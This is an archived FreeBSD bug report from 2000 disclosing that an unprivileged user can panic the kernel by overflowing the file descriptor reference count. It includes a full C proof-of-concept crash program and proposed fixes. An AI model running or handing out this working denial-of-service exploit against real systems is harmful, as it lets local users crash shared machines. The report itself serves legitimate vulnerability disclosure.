From owner-freebsd-bugs Tue May 2 8:20:16 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8866D37BAD6 for ; Tue, 2 May 2000 08:20:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id IAA08364; Tue, 2 May 2000 08:20:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: from binnen.mail.nl.demon.net (binnen.mail.nl.demon.net [194.159.72.192]) by hub.freebsd.org (Postfix) with ESMTP id 6E1A737B982 for ; Tue, 2 May 2000 08:17:37 -0700 (PDT) (envelope-from pdp@nl.demon.net) Received: from samhain.noc.nl.demon.net ([194.159.72.214]) by binnen.mail.nl.demon.net with esmtp (Exim 3.13 #1) id 12meQH-0002nz-00 for FreeBSD-gnats-submit@freebsd.org; Tue, 02 May 2000 17:17:17 +0200 Received: from pdp by samhain.noc.nl.demon.net with local (Exim 3.11 #2) id 12meQH-0000Ak-00 for FreeBSD-gnats-submit@freebsd.org; Tue, 02 May 2000 17:17:17 +0200 Message-Id: Date: Tue, 02 May 2000 17:17:17 +0200 From: Phil Pennock To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/18346: user can panic kernel (3.4-STABLE verified) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 18346 >Category: kern >Synopsis: User can panic kernel; signed short wraps >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 2 08:20:02 PDT 2000 >Closed-Date: >Last-Modified: >Originator: Phil Pennock >Release: FreeBSD 3.4-STABLE i386 >Organization: Demon Internet Netherlands >Environment: Raised kern.maxfiles and kern.maxfilesperproc. Probably not necessary. >Description: The file descriptor reference count is an unsigned short. Should it ever become negative, the kernel panics. There is no check on increment, so it can wrap and on a later close cause a panic. This was first spotted with an unfortunate choice of logfile handling for Apache. Max files per proc * max procs per user > max_int(fd.f_count) >How-To-Repeat: Compile the program below. Possibly raise kern.maxfiles and kern.maxfilesperproc. Play around. Sync disks. :^) Run program, with parameters to indicate values. If program slows down (the forks) and nothing happens, hit control-C - this will lead to a file-descriptor being closed and so trigger the panic then. -----------------------------< cut here >------------------------------- /* crash_freebsd.c */ #include #include #include #include #include #include #include #include #include #define DEF_VICTIM "/dev/null" void cleanup (void) __attribute__((__noreturn__)); void exit_sigf (int sig); void do_nowt ( void ); int main ( int argc, char *argv[] ) { int fd; int *fds, *fdp; int i_f, i_p, ret; int n_fd, n_p; pid_t cp; char *progname, *filename; progname = strrchr(argv[0], '/'); progname = progname ? progname+1 : argv[0]; if (argc < 3) { fprintf(stderr, "Usage: %s file_count process_count [filename]\n", progname); return 1; } errno = 0; n_fd = strtol(argv[1], NULL, 0); if (errno != 0) { perror(progname); return 1; } n_p = strtol(argv[2], NULL, 0); if (errno != 0) { perror(progname); return 1; } if (argc >= 4) { filename = argv[3]; } else { filename = DEF_VICTIM; } setpgrp(0, getpgrp()); if (!(fds = calloc(n_fd - 1, sizeof(int)))) { fprintf(stderr, "%s: Failed to allocate fd storage\n", progname); perror(progname); return 1; } ret = setvbuf(stdout, NULL, _IONBF, 0); /* ignore failure */ printf("Starting test run on '%s'\n%d file descs by %d processes\n", filename, n_fd--, n_p); if ((fd = open(filename, O_RDONLY)) < 0) { fprintf(stderr, "%s: Failed to open '%s'\n", progname, filename); perror(progname); return 1; } for ( fdp=fds, i_f=0 ; i_f < n_fd ; ++i_f, ++fdp ) { *fdp = dup(fd); if (*fdp == -1) { ret = errno; printf("Failed to dup for %d/%d\n", i_f+2,n_fd); perror(progname); if (ret == EMFILE) { break; } else { return 2; } } } printf("We have %d filedescs open\n", n_fd+1); for ( i_p = 0 ; i_p < n_p-1 ; ++i_p ) { switch (cp = fork()) { case -1: printf("Failed to fork for %d/%d\n",i_p+1,n_p); cleanup(); /* NOTREACHED */ case 0: signal(SIGKILL, exit_sigf); printf("Started proc %d\n", i_p+1); do_nowt(); exit(0); default: break; } } close(fd); sleep(1); cleanup(); printf("Finished test run! Woohoo!\n"); return 0; } void cleanup ( void ) { /* Can't be bothered with IPC ... */ sleep(3); kill(0, SIGKILL); exit(0); } void exit_sigf (int sig) { exit(0); } void do_nowt ( void ) { /* Can't be bothered with IPC ... */ sleep(1000000); } -----------------------------< cut here >------------------------------- >Fix: Two solutions, not mutually incompatible: (1) Check f_count value before increment, return error if would wrap. (2) Change f_count to int32_t instead of int16_t. The second solution requires auditing all programs which access kernel memory, eg lsof, to find potential problems. :^/ *sighs* >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message